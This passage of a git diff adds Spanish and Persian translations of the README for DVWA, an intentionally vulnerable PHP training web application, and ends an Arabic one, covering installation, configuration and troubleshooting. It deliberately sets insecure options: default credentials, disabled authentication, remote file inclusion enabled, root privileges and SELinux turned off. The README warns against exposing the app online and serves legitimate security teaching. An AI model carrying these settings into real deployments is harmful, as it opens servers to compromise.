، ولكنها من المفترض أن تكون حالة بسيطة وذلك بتثبيت حزمة `php-sqlite3` والتأكد من تفعيلها. + +لإجراء هذا التبديل ، قم ببساطة بتعديل ملف التكوين وإضافة أو تعديل هذه الأسطر: + +``` +$_DVWA["SQLI_DB"] = "sqlite"; +$_DVWA["SQLITE_DB"] = "sqli.db"; +``` + +بشكل افتراضي ، يستخدم الملف `database/sqli.db` ، إذا أحدثت خللا فيه، فما عليك سوى نسخ محتويات ملف `database/sqli.db.dist` ولصقها في الملف الذي تعمل عليه. + +التحديات هي نفسها تمامًا مثل MySQL ، ولكنك الآن تنفذها في SQLite3 بدلاً من MySQL. + +- - - + +## روابط + +الصفحة الرئيسية للمشروع: + +*تم إنشاؤها بواسطة فريقDVWA * diff --git a/DVWA/README.es.md b/DVWA/README.es.md new file mode 100644 index 00000000..b1c8be1d --- /dev/null +++ b/DVWA/README.es.md @@ -0,0 +1,428 @@ +# DAMN VULNERABLE WEB APPLICATION + +Damn Vulnerable Web Application (DVWA) es una aplicación web hecha en PHP/MySQL que es extremadamente vulnerable. Su principal objetivo es ayudar a profesionales de seguridad a poner a prueba sus habilidades y herramientas en un entorno legal, ayudar a desarrolladores web a comprender mejor los procesos de asegurar aplicaciones web y ayudar tanto a estudiantes como a profesores a aprender sobre seguridad de aplicaciones web en un entorno de clase controlado. + +El objetivo de DVWA es **practicar algunas de las vulnerabilidades web más comunes**, con **varios niveles de dificultad**, con una interfaz sencilla y directa. +Tener en cuenta que hay **tanto vulnerabilidades documentadas como no documentadas** en este software. Esto es intencional. Le animamos a que intente descubrir tantos problemas como sea posible. +- - - + +## ¡AVISO! + +¡Damn Vulnerable Web Application es extremadamente vulnerable! **No la suba a la carpeta html pública de su proveedor de alojamiento ni a ningún servidor expuesto a Internet**, ya que se verán comprometidos. Se recomienda utilizar una máquina virtual (como [VirtualBox](https://www.virtualbox.org/) o [VMware](https://www.vmware.com/)), que esté configurada en modo de red NAT. Dentro de una máquina huésped, puede descargar e instalar [XAMPP](https://www.apachefriends.org/) para montar el servidor web y la base de datos. + +### Descargo de responsabilidad + +No nos hacemos responsables de la forma en que cualquier persona utilice esta aplicación (DVWA). Hemos dejado claros los propósitos de la aplicación y no debe usarse de forma malintencionada. Hemos advertido y tomado medidas para evitar que los usuarios instalen DVWA en servidores web activos. Si su servidor web se ve comprometido por una instalación de DVWA, no es responsabilidad nuestra, sino de la persona o personas que lo subieron e instalaron. + +- - - + +## Licencia + +Este archivo es parte de Damn Vulnerable Web Application (DVWA). + +Damn Vulnerable Web Application (DVWA) es software libre: puede redistribuirlo y/o modificarlo bajo los términos de la Licencia Pública General GNU publicada por la Free Software Foundation, ya sea la versión 3 de la Licencia, o (a su elección) cualquier versión posterior. + +Damn Vulnerable Web Application (DVWA) se distribuye con la esperanza de que sea útil, pero SIN NINGUNA GARANTÍA; ni siquiera la garantía implícita de +COMERCIABILIDAD o IDONEIDAD PARA UN PROPÓSITO PARTICULAR. Consulte la Licencia Pública General GNU para más detalles. + +Debería haber recibido una copia de la Licencia Pública General GNU junto con Damn Vulnerable Web Application (DVWA). Si no es así, consulte . + +- - - + +## Internacionalización + +Este archivo está disponible en varios idiomas: +- Árabe: [العربية](README.ar.md) +- Chino: [简体中文](README.zh.md) +- Español: [Español](README.es.md) +- Francés: [Français](README.fr.md) +- Persa: [فارسی](README.fa.md) +- Turco: [Türkçe](README.tr.md) + +Si desea contribuir con una traducción, envíe una PR (Pull Request). Tenga en cuenta, sin embargo, que esto no significa que sólo tiene que usar Google Translate y enviar el resultado de traducción de la herramienta, pues será rechazado. Envíe su versión traducida añadiendo un nuevo archivo 'README.xx.md' donde xx es el código de dos letras del idioma deseado (basado en [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)). + +- - - + +## Descarga + +Aunque existen varias versiones de DVWA, la única versión con soporte es la última del repositorio oficial de GitHub. Usted puede clonarlo desde el repositorio: + +``` +git clone https://github.com/digininja/DVWA.git +``` + +O [descargar un ZIP con todos los archivos](https://github.com/digininja/DVWA/archive/master.zip). + +- - - + +## Instalación + +### Videos de Instalación + +- [Instalando DVWA en Kali corriendo en VirtualBox](https://www.youtube.com/watch?v=WkyDxNJkgQ4) +- [Instalación de DVWA en Windows usando XAMPP](https://youtu.be/Yzksa_WjnY0) +- [Instalación de Damn Vulnerable Web Application (DVWA) en Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo) + +### Windows + XAMPP + +La forma más fácil de instalar DVWA es descargar e instalar [XAMPP](https://www.apachefriends.org/) si aún no tiene un servidor web configurado. + +XAMPP es una distribución de Apache muy fácil de instalar para Linux, Solaris, Windows y Mac OS X. El paquete incluye el servidor web Apache, MySQL, PHP, Perl, un servidor FTP y phpMyAdmin. + +Este [video](https://youtu.be/Yzksa_WjnY0) le guiará a través del proceso de instalación para Windows, pero debería ser similar para otros sistemas operativos. + +### Archivo de configuración + +DVWA se entrega con una plantilla del archivo de configuración que tendrá que copiar en su lugar y luego hacer los cambios apropiados. En Linux, suponiendo que se encuentra en el directorio DVWA, esto se puede hacer de la siguiente manera: + +```bash +cp config/config.inc.php.dist config/config.inc.php +``` + +En Windows, esto puede ser un poco más difícil si está ocultando las extensiones de archivo, si no está seguro acerca de esto, esta publicación de blog explica más sobre eso: + +[Cómo hacer que Windows muestre las extensiones de archivo](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/) + +### Paquetes Linux + +Si utiliza una distribución de Linux basada en Debian, necesitará instalar los siguientes paquetes _(o sus equivalentes)_: + +- apache2 +- libapache2-mod-php +- mariadb-server +- mariadb-client +- php php-mysqli +- php-gd + +Se recomienda hacer una actualización antes de esto, sólo para asegurarse de que va a obtener la última versión de todos los paquetes. + +``` +apt update +apt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php +``` + +El sitio funcionará con MySQL en lugar de MariaDB, pero recomendamos MariaDB, ya que funciona con su instalación por defecto y sin cambio alguno, mientras que usted tendrá que hacer cambios para hacer que para MySQL funcione correctamente. + +### Configuración de la base de datos + +Para configurar la base de datos, simplemente haga clic en el botón `Setup DVWA` en el menú principal, a continuación, haga clic en el botón `Create / Reset Database`. Esto creará / reiniciará la base de datos e insertará algunos datos de ejemplo. + +Si recibe un error al intentar crear su base de datos, asegúrese de que sus credenciales de la base de datos dentro de `./config/config.inc.php` están correctamente escritas. *Esto difiere de config.inc.php.dist, que es un archivo de ejemplo.* + +Las variables son las siguientes por defecto: + +```php +$_DVWA[ 'db_server'] = '127.0.0.1'; +$_DVWA[ 'db_port'] = '3306'; +$_DVWA[ 'db_user' ] = 'dvwa'; +$_DVWA[ 'db_password' ] = 'p@ssw0rd'; +$_DVWA[ 'db_database' ] = 'dvwa'; +``` + +Nota, si está usando MariaDB en lugar de MySQL (MariaDB viene por defecto en Kali), entonces no podrá usar el usuario root de la base de datos, por tanto, debe crear un nuevo usuario de base de datos. Para hacer esto, debe conectarse a la base de datos como usuario root y usar los siguientes comandos: + +```mysql +mysql> create database dvwa; +Query OK, 1 row affected (0.00 sec) + +mysql> create user dvwa@localhost identified by 'p@ssw0rd'; +Query OK, 0 rows affected (0.01 sec) + +mysql> grant all on dvwa.* to dvwa@localhost; +Query OK, 0 rows affected (0.01 sec) + +mysql> flush privileges; +Query OK, 0 rows affected (0.00 sec) +``` + +### Desactivar Autenticación + +Algunas herramientas no funcionan bien con mecanismos de autenticación, por lo que no se pueden utilizar con DVWA si la autenticación está habilitada. Para resolver esto, existe una opción de configuración para desactivar la verificación de autenticación. Para ello, simplemente establezca lo siguiente en el archivo de configuración: + +```php +$_DVWA[ 'disable_authentication' ] = true; +``` + +También tendrá que establecer el nivel de seguridad a uno que sea apropiado para las pruebas que desea hacer: + +```php +$_DVWA[ 'default_security_level' ] = 'low'; +``` + +En este estado, puede acceder a todas las funciones sin necesidad de iniciar sesión y tampoco tener que configurar cookies. + +### Otras Configuraciones + +Dependiendo de su sistema operativo, así como la versión de PHP, es posible que desee modificar la configuración por defecto. La ubicación de los archivos será diferente para cada máquina. + +**Permisos de carpeta**: + +* `./hackable/uploads/` - El servicio web necesita tener permisos de escritura en esta carpeta (para la subida de archivos). +* `./external/phpids/0.6/lib/IDS/tmp/phpids_log.txt` - El servicio web necesita tener permisos de escritura en esta carpeta (si desea usar PHPIDS). + +**Configuración de PHP**: +* Para permitir la inclusión remota de archivos (RFI): + * `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)] + * `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)] +* Para reducir opcionalmente la verbosidad ocultando los mensajes de advertencia de PHP: + * `display_errors = off` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)] + +**Archivo: `config/config.inc.php`**: + +* `$_DVWA[ 'recaptcha_public_key' ]` & `$_DVWA[ 'recaptcha_private_key' ]` - Estos valores deben ser generados desde: https://www.google.com/recaptcha/admin/create + +### Credenciales por defecto + +**Nombre de usuario por defecto = `admin`** + +**Contraseña por defecto = `password`** + +_...puede ser fácilmente crackeada con fuerza bruta ;)_ + +URL de Acceso: http://127.0.0.1/login.php + +Nota: La URL de acceso será diferente si ha instalado DVWA en un directorio distinto. + +- - - + +## Contenedor Docker + +Esta sección del readme ha sido añadida por @thegrims, para soporte en temas Docker, por favor contactar con él o con @opsxcq que es quien mantiene la imagen Docker y el repositorio. Cualquier ticket de incidencia será probablemente referenciado a esto y cerrado. + +- [Página DockerHub](https://hub.docker.com/r/vulnerables/web-dvwa/) +`docker run --rm -it -p 80:80 vulnerables/web-dvwa` + +Por favor, asegúrese de que está utilizando aufs debido a problemas anteriores con MySQL. Ejecute `docker info` para comprobar su controlador de almacenamiento. Si no es aufs, por favor cámbielo. Hay guías para cada sistema operativo sobre cómo hacerlo, pero son bastante diferentes por lo que no lo cubriremos aquí. + +- - - + +## Solución de problemas + +Esta sección supone que está usando una distribución basada en Debian, como Debian, Ubuntu y Kali. Para otras distribuciones, siga el mismo procedimiento, pero actualice el comando donde corresponda. + +### He navegado hasta el sitio web y he obtenido un Error 404 + +Si está teniendo este problema, necesita entender la ubicación correcta de los archivos. Por defecto, el directorio raíz de los documentos de Apache (el lugar donde empieza a buscar contenido web) es `/var/www/html`. Si coloca el archivo `hello.txt` en este directorio, para acceder a él deberá navegar a `http://localhost/hello.txt`. + +Si crea un directorio y pone el archivo allí - `/var/www/html/mydir/hello.txt` - tendrá que navegar a `http://localhost/mydir/hello.txt`. + +Linux distingue por defecto entre mayúsculas y minúsculas, por lo que en el ejemplo anterior, si intentara navegar a cualquiera de estos sitios, obtendría un mensaje `404 Not Found`: + +- http://localhost/MyDir/hello.txt +- http://localhost/mydir/Hello.txt +- http://localhost/MYDIR/hello.txt + +¿Cómo afecta esto al DVWA? La mayoría de la gente utiliza git para obtener el DVWA en `/var/www/html`, esto les da el directorio `/var/www/html/DVWA/` con todos los archivos DVWA dentro de él. Entonces navegan a `http://localhost/` y obtienen un `404` o la página de bienvenida por defecto de Apache. Como los archivos están en DVWA, debe navegar a `http://localhost/DVWA`. + +Otro error común es navegar a `http://localhost/dvwa` que dará un `404` porque `dvwa` no es `DVWA` en lo que se refiere a la correspondencia de directorios de Linux. + +Así que después de la instalación, si intenta visitar el sitio y obtiene un `404`, piense dónde instaló los archivos, dónde están en relación con el directorio raíz de documentos, y recuerde si utilizó mayúsculas o minúsculas en ese directorio. + +### "Access denied" ejecutando setup + +Si ve lo siguiente al ejecutar el script de instalación significa que el nombre de usuario o la contraseña en el archivo de configuración no coinciden con los configurados en la base de datos: + +``` +Database Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES). +``` + +El error le está diciendo que está usando el nombre de usuario `notdvwa`. + +El siguiente error indica que en el archivo de configuración ha escrito un nombre de base de datos equivocado. + +``` +SQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa' +``` + +Está diciendo que está usando el usuario `dvwa` y tratando de conectarte a la base de datos `notdvwa`. + +Lo primero que hay que hacer es comprobar que lo que se cree que ha puesto en el fichero de configuración es realmente lo que está ahí. + +Si coincide con lo que se espera, lo siguiente es comprobar que se puede iniciar sesión como el usuario en cuestión a través de la línea de comandos. Asumiendo que tiene un usuario de base de datos `dvwa` y una contraseña `p@ssw0rd`, ejecute el siguiente comando: + +``` +mysql -u dvwa -pp@ssw0rd -D dvwa +``` + +*Nota: No hay espacio después de -p* + +Si ve lo siguiente, la contraseña es correcta: + +``` +Welcome to the MariaDB monitor. Commands end with ; or \g. +Your MariaDB connection id is 14 +Server version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10 + +Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + +Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + +MariaDB [dvwa]> +``` + +Como puede conectarse en la línea de comandos, es probable que haya algo mal en el archivo de configuración, compruebe dos veces y luego plantee un Issue si todavía no puede hacer que las cosas funcionen. + +Si ve lo siguiente, el nombre de usuario o la contraseña que está utilizando son incorrectos. Repita los pasos de [Database Setup](#database-setup) y asegúrese de usar el mismo nombre de usuario y contraseña durante todo el proceso. + +``` +ERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES) +``` + +Si obtiene lo siguiente, las credenciales del usuario son correctas pero el usuario no tiene acceso a la base de datos. De nuevo, repita los pasos de configuración y compruebe el nombre de la base de datos que está utilizando. + +``` +ERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa' +``` + +El último error que puede obtener es el siguiente: + +``` +ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) +``` + +Esto no es un problema de autenticación, sino que indica que el servidor de base de datos no se está ejecutando. Puede iniciar el servidor con lo siguiente: + +```sh +sudo service mysql start +``` + +### Método de autenticación desconocido + +Con las versiones más recientes de MySQL, PHP ya no puede comunicarse con la base de datos en su configuración por defecto. Si intenta ejecutar el script de instalación y obtiene el siguiente mensaje significa que tiene la configuración por defecto. + +``` +Database Error #2054: The server requested authentication method unknown to the client. +``` + +Tiene dos opciones, la más fácil es desinstalar MySQL e instalar MariaDB. La siguiente es la guía oficial del proyecto MariaDB: + + + +Alternativamente, siga estos pasos: + +1. Como root, edite el siguiente archivo `/etc/mysql/mysql.conf.d/mysqld.cnf`. +2. Bajo la línea `[mysqld]`, añada lo siguiente: + `default-authentication-plugin=mysql_native_password`. +3. Reinicie el servidor de base de datos: `sudo service mysql restart` +4. Compruebe el método de autenticación del usuario de la base de datos: + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------------------+-----------------------+ + | Host | User | plugin | + +-----------+------------------+-----------------------+ + | localhost | dvwa | caching_sha2_password | + +-----------+------------------+-----------------------+ + 1 rows in set (0.00 sec) + ``` + +5. Es probable que vea `caching_sha2_password`. Si es así, ejecute el siguiente comando: + + ```sql + mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd'; + ``` + +6. Al volver a ejecutar la verificación, ahora debería ver `mysql_native_password`. + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------+-----------------------+ + | Host | User | plugin | + +-----------+------+-----------------------+ + | localhost | dvwa | mysql_native_password | + +-----------+------+-----------------------+ + 1 row in set (0.00 sec) + ``` + +Después de todo esto, el proceso de configuración debería funcionar con normalidad. + +Si desea más información consulte la siguiente página: . + +### Database Error #2002: No such file or directory. + +El servidor de base de datos no se está ejecutando. En una distro basada en Debian esto se puede hacer con: + +```sh +sudo service mysql start +``` + +### Errores "MySQL server has gone away" y "Packets out of order" + +Hay algunas razones por las que podría estar obteniendo estos errores, pero la más probable es que la versión del servidor de base de datos que está ejecutando no sea compatible con la versión de PHP. + +Esto se encuentra de forma más común cuando se está ejecutando la última versión de MySQL y PHP, y estás no se llevan bien. El mejor consejo, deshágase de MySQL e instale MariaDB ya que esto no es algo con lo que podamos ayudarte. + +Para más información, vea: + + + +### La Inyección de Comandos no funcionará + +Es posible que Apache no tenga privilegios suficientes para ejecutar comandos en el servidor web. Si está ejecutando DVWA en Linux asegúrese de que ha iniciado sesión como root. Bajo Windows inicie sesión como Administrador. + +### ¿Por qué no se puede conectar la base de datos en CentOS? + +Puede estar teniendo problemas con SELinux. Desactive SELinux o ejecute este comando para permitir que el servidor web se comunique con la base de datos: + +``` +setsebool -P httpd_can_network_connect_db 1 +``` + +### Cualquier otra cosa + +Para obtener la información más reciente sobre solución de problemas, lea los tickets abiertos y cerrados en el repositorio git: + + + +Antes de enviar un ticket, por favor asegúrese de que está ejecutando la última versión del código del repositorio. No se trata de la última versión liberada (released), sino del último código disponible en la rama master. + +Si desea enviar un ticket, por favor envíe al menos la siguiente información: + +- Sistema operativo +- Las últimas 5 líneas del log de errores del servidor web justo después de que se produzca el error del que está informando. +- Si se trata de un problema de autenticación de base de datos, siga los pasos anteriores y haga una captura de pantalla de cada paso. Envíelas junto con una captura de pantalla de la sección del archivo de configuración que muestra el usuario y la contraseña de la base de datos. +- Una descripción completa de lo que está fallando, lo que espera que ocurra y lo que ha intentado hacer para solucionarlo. "inicio de sesión roto" no es suficiente para que entendamos su problema y le ayudemos a solucionarlo. + +- - - + +## Inyección SQL en SQLite3 + +_El soporte para esto es limitado, antes de abrir tickets en Issues, por favor asegúrese de que está preparado para trabajar en la depuración del problema, no se limite a decir "no funciona"._ + +Por defecto, SQLi y Blind SQLi se hacen contra el servidor MariaDB/MySQL utilizado por el sitio, pero es posible cambiar la configuración para hacer las pruebas SQLi contra SQLite3 en su lugar. + +No se va a cubrir cómo hacer que SQLite3 funcione con PHP, pero debería ser un simple caso de instalar el paquete `php-sqlite3` y asegurarse de que está habilitado. + +Para hacer el cambio, simplemente edite el archivo de configuración y añada o edite estas líneas: + +``` +$_DVWA["SQLI_DB"] = "sqlite"; +$_DVWA["SQLITE_DB"] = "sqli.db"; +``` + +Por defecto se utiliza el fichero `database/sqli.db`, si lo estropea al archivo por error, simplemente copiar el archivo `database/sqli.db.dist` y sobreescribir el existente estropeado. + +Los retos son exactamente los mismos que para MySQL, sólo que se ejecutan contra SQLite3 en su lugar. + +- - - + +👨‍💻 Contribuyentes +----- + +Gracias por todas sus contribuciones y por mantener este proyecto actualizado. :heart: + +Si tienes una idea, algún tipo de mejora o simplemente quieres colaborar, eres bienvenido de contribuir y participar en el proyecto, siéntete libre de enviar tu PR. + +

+ + + +

+ +- - - + +## Enlaces + +Inicio del proyecto: + +*Creado por el Equipo de DVWA* diff --git a/DVWA/README.fa.md b/DVWA/README.fa.md new file mode 100644 index 00000000..7da8c07e --- /dev/null +++ b/DVWA/README.fa.md @@ -0,0 +1,390 @@ +# اپلیکیشن وبی وحشتناک آسیب‌پذیر +اپلیکیشن وبی وحشتناک آسیب‌پذیر (DVWA)، یک اپلیکیشن وبی مبتنی بر پی‌اچ‌پی/مای‌اسکیوال است که به شدت آسیب‌پذیر طراحی شده است. اهداف اصلی آن یاری رساندن به متخصصین حوزهٔ امنیت برای محک‌زدن مهارت‌ها و ابزارهایشان در محیطی قانونی، کمک کردن به توسعه‌دهنگان برا درک بهتر فرایند ایمن‌سازی اپلیکیشن‌های وبی و همچنین کمک کردن به مدرسین و دانشجویان برای یادگیری امنیست اپلیکیشن وبی در محیط کنترل‌شدهٔ کلاسی را شامل می‌شود. + +هدف DVWA، **تمرین بخشی از متداول‌ترین نفوذپذیری‌های وبی**، در **سطح‌های متفاوتی از دشواری**، با بهرا‌گیری از یک رابط سرراست و آسان است. لطفاً در نظر داشته‌باشید که در این نرم‌افزار **هم نفوذپذیری‌های مستند‌سازی‌شده و هم غیرمستندسازی‌شده** وجود دارند. این موضوع تعمدی است. از شما دعوت می‌شود که تلاش کنید و اشکالات را تا هرآنقدر که میسر است بیابید. +- - - +## هشدار! +اپلیکیشن وبی وحشتناک آسیب‌پذیر، به‌ شکل وحشتناکی آسیب‌پذیر است! **آن را در پوشه‌های اچ‌تی‌ام‌ال عمومی سرویس دهندهٔ میزبانی خود یا هر سروری که در اینترنت قرار دارد بارگذاری نکنید**، چراکه مورد نفوذ قرار خواهند گرفت. برای این کار استفاده از یک ماشین مجازی پیشنهاد می‌شود (مثل [ورچوال باکس](https://www.virtualbox.org/) یا [وی‌ام‌ویر](https://www.vmware.com/)) که در حالت شبکه‌ای NAT پیکربندی شده باشد. در داخل ماشین مجازی می‌توانید [زمپ](https://www.apachefriends.org/) را برای سرور وب و پایگاه دادهٔ خود دانلود کنید. + +### تکذیب‌نامه +ما در مورد اینکه از این اپلیکیشن (DVWA) چگونه استفاده می‌شود هیچ مسؤولیتی نمی‌پذیریم. ما هدف این برنامه را به صراحت بیان کرده‌ایم و از آن نباید برای مقاصد بدخواهانه استفاده شود. ما هشدارها و اقدامات خود را در جهت جلوگیری از نصب DVWA بر روی سرویس‌دهندگان وب برخط انجام داده‌ایم. اگر به سرور وب شما از طریق یک نسخه از DVWA نفوذ شد، تقصیری متوجه ما نیست. مسؤولیت آن بر عهدهٔ کسی است که آن را بارگذاری و نصب کرده است. +- - - +## مجوز +این فایل بخشی از اپلیکیشن وبی وحشتناک آسیب‌پذیر (DVWA) است. +اپلیکیشن وبی وحشتناک آسیب‌پذیر (DVWA) یک نرم‌افزار آزاد است. شما می‌توانید آن را تحت مجوز نسخه سوم‌ یا به‌اختیر خودتان نسخه‌های جدید‌تری از مجوز عمومی گنو (GNU) که توسط بنیاد نرم‌افزار آزاد منشر شده است، توزیع کنید و/یا تغییر دهید. +اپلیکیشن وبی وحشتناک آسیب‌پذیر (DVWA) به امید اینکه سودمند واقع شود توزیع شده است، لیکن بدون هیچگونه تضمینی، حتی به صورت ضمنی که برای مقاصد خاصی مناسب باشد ارائه می‌شود. مجوز عمومی گنو را برای اطلاعات بیشتر ببینید. +شما می‌بایست یک رونوشت از مجوز عمومی گنو را همرا با اپلیکیشن وبی وحشتناک آسیب‌پذیر (DVWA) دریافت کرده‌باشید. اگر این اتفاق نیفتاده است، را ببینید. + +- - - +## بین‌المللی کردن + +این فایل به زبان‌های مختلف دیگری موجود است: +- انگلیسی: [English](README.md) (نسخهٔ مرجع) +- ترکی: [Türkçe](README.tr.md) +- چینی: [简体中文](README.zh.md) +- عربی: [العربية](README.ar.md) +- فرانسوی: [French](README.fr.md) + +اگر شما نیز می‌خواهید به ترجمه‌کردن این مستند به زبان‌های دیگر کمک کنید، لطفاً یک PR‌ ارسال کنید. این بدان معنا نیست که فایل را به ترجمه‌گر گوگل بدهید و خروجی آن را ارسال کنید، اینگونه ترجمه‌‌‌ها مردود می‌شوند. + +- - - +## دانلود +در حالیکه ممکن است نسخه‌های متفاوتی از DVWA در اطراف پراکنده شده باشند، تنها نسخه پشتیبانی شده،آخرین نسخه از مخزن رسمی گیت‌هاب است. شما یا می‌توانید آن را از طریق کلون کردن مخزن: + +``` +git clone https://github.com/digininja/DVWA.git +``` + +یا [بارگیری نسخهٔ زیپ‌شدهٔ فایلها](https://github.com/digininja/DVWA/archive/master.zip) دانلود کنید. + +- - - + +## نصب + +### ویدئو‌های نصب + +- [نصب بر کالی‌لینوکس در ورچوال‌باکس](https://www.youtube.com/watch?v=WkyDxNJkgQ4) +- [نصب در وینوز با استفاده از زمپ](https://youtu.be/Yzksa_WjnY0) +- [نصب بر روی ویندوز ۱۰](https://www.youtube.com/watch?v=cak2lQvBRAo) + +### ویندوز+زمپ +اگر در حال حاضر یک وب‌سرور راه‌اندازی‌شده در اختیار ندارید، راحت‌ترین روش نصب DVWA از طریق دانلود و نصب [زمپ](https://www.apachefriends.org/) است + +زمپ یک توزیع از آپاچی است که نصب بسیار آسانی دارد و برای لینوکس، سولاریس، ویندوز و مک‌او‌اس‌ اکس عرضه شده است. این بسته شامل سرویس‌دهندهٔ وب آپاچی، مای‌اس‌کیوال، پی‌اچ‌پی، پرل، یک سرویس‌دهندهٔ اف‌‌تی‌پی و پی‌اج‌پی‌مای‌ادمین است. +این [ویدئو](https://youtu.be/Yzksa_WjnY0) شما را قدم به قدم در مراحل نصب آن برای ویندوز هدایت می‌کند، البته برای سایر سیستم‌عامل‌ها نیز کمابیش به همین‌ شکل است. + + + +### فایل کانفیگ +برنامهٔ DVWA همرا با یک فایل کانفیگ دم‌دستی توزیع می‌شود که لازم است شما آن را در جای مناسب کپی کنید و تغییرات لازم را بر روی آن اعمال کنید. در لینوکس با فرض بر اینکه در پوشهٔ DVWAقرار دارید، به این طریق می‌توانید فایل را کپی کنید: + +`cp config/config.inc.php.dist config/config.inc.php` + +در ویندوز، اگر پسوند فایل‌ها مخفی باشد، کار اندکی دشوارتر می‌شود. اگر در این مورد مطمئن نیستید، برای توضیحات بیشتر این پست وبلاگ را ببینید: + +[چگونه به ویندوز بگوییم پسوند فایل‌ها را نمایش دهد](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/) + +### پکیج‌های لینوکس + +اگر از یک توزیع لینوکس مبتنی بر دبیان استفاده می کنید، لازم است بسته‌های نرم‌افزاری زیر _(یا مشابه آنها)_ را نصب کنید: + +- apache2 +- libapache2-mod-php +- mariadb-server +- mariadb-client +- php php-mysqli +- php-gd + +جهت اطمینان از ایکنکه آخرین نسخه از همه‌چیز را دریافت خواهید کرد، اجرای یک Update‌ قبل از هر کاری توصیه می‌شود. + +``` +apt update +apt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php +``` +سایت با مای‌اسکیوال بجای ماریا‌دی‌بی کار می‌کند، اما ما قویاً ماریاد‌ی‌بی را توصیه می‌کنیم، چرا که بدون نیاز به تغییرات مستقیما کار خواهد کرد در حالیه برای راه‌اناختن صحیح مای‌اس‌کیو‌ال نیاز است تغییراتی در آن بدهید. + + +### نصب پایگاه داده +برای نصب پایگاه داده کافیست بر روی دکمهٔ `Setup DVWA` در منوی اصلی کلیک کنید و پس از آن دکمهٔ `Create / Reset Database` را فشار دهید. این کار پایگاه داده را به همراه مقداری داده در آن ایجاد/بازسازی می‌کند. +اگر در حین ساختن پایگاه داده خطایی دریافت می‌کنید، مطمئن باشید اطلاعات اعتبارسنجی تنظیم‌شده در `./config/config.inc.php` صحیح باشد. *‌دقت کنید که این فایل با config.inc.php.dis که صرفاً یک فایل نمونه است تفاوت دارد.* + +متغیرها به صورت پیش‌فرض با مقادیر زیر تنظیم می‌شوند: + +```php +$_DVWA[ 'db_server'] = '127.0.0.1'; +$_DVWA[ 'db_port'] = '3306'; +$_DVWA[ 'db_user' ] = 'dvwa'; +$_DVWA[ 'db_password' ] = 'p@ssw0rd'; +$_DVWA[ 'db_database' ] = 'dvwa'; +``` + +دقت کنید که، اگر از ماریادی‌بی بجای مای‌اس‌کیو‌ال استفاده می‌کنید (در کالی‌لبنوکس ماریادی‌بی پیش‌فرض است)، نخواهید توانست از کاربر root‌ پایگاه داده استفاده کنید و می‌بایست کاربر جدیدی ایجاد کنید. برای این کار با کاربر روت به پایگاه داده وصل شوید و دستورات زیر را اجرا کنید: + +```mysql +mysql> create database dvwa; +Query OK, 1 row affected (0.00 sec) + +mysql> create user dvwa@localhost identified by 'p@ssw0rd'; +Query OK, 0 rows affected (0.01 sec) + +mysql> grant all on dvwa.* to dvwa@localhost; +Query OK, 0 rows affected (0.01 sec) + +mysql> flush privileges; +Query OK, 0 rows affected (0.00 sec) +``` + +### غیر فعال کردن ورود +بعضی از ابزارها با بخش ورود به خوبی کار نمی‌کنند و با DVWA نمی‌توانند استفاده شوند. برای رفع این مشکل، گزینه‌ای در کانفیگ وجود دارد که بتوانید کنترل ورود را غیر فعال کنید. برای این کار کافیست تنظیم زیر را در فایل کانفیگ انجام دهید: + +```php +$_DVWA[ 'disable_authentication' ] = true; +``` + +همچنین لازم است سطح امنیت را به مقداری که برای آزمونتان مد نظر دارید تغییر دهید: + + +```php +$_DVWA[ 'default_security_level' ] = 'low'; +``` + +در این حالت شما می‌توانید از تمامی امکانات بدون نیاز به ورود و تنظیم کوکی‌ها بهره ببید. + +### سایر تنظیمات +بسته به سیستم عامل و نسخه‌ای از پی‌اچ‌پی که اجرا می‌‌کنید، ممکن است بخواهید در تنظیمات پیش‌فرض تغییراتی ایجاد کنید. محل قرارگیری فایل ها از ماشینی تا ماشین دیگر ممکن است متفاوت باشد. + + +**سطح دسترسی به پوشه‌ها**: + +* `./hackable/uploads/` - باید توسط سرویس وب قابل نوشتن باشد (برای آپلود فایل). +* `./external/phpids/0.6/lib/IDS/tmp/phpids_log.txt` - باید توسط سرویس وب قابل نوشتن باشد (اگر قصد استفاده از PHPIDS را دارید ). + +**تنظیمات پی‌اچ‌پی**: +* برای مجاز شمردن اینکلودهای ریموت (RFI) + * تنظیم `allow_url_include = on` مستندات: [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)] + * تنظیم `allow_url_fopen = on` مستندات: [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)] +* برای خاموش‌کردن هشدار‌های پی‌اچ‌پی که کمتر شلوغ باشد (در صورت نیاز) + * تنظیم `display_errors = off` مستندات: [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)] + +**File: `config/config.inc.php`**: + +* `$_DVWA[ 'recaptcha_public_key' ]` & `$_DVWA[ 'recaptcha_private_key' ]` - این مقادیر باید از اینجا ایجاد شوند: https://www.google.com/recaptcha/admin/create + +### اطلاعات ورود پیش‌فرض + +**نام کاریری پیش‌فرض = `admin`** + +**کلمه عبور پیش‌فرض = `password`** + +_...که به راحتی می‌تواند مورد حملات بروت‌فورس قرار گیرد ;)_ + +نشانی ورود: http://127.0.0.1/login.php + 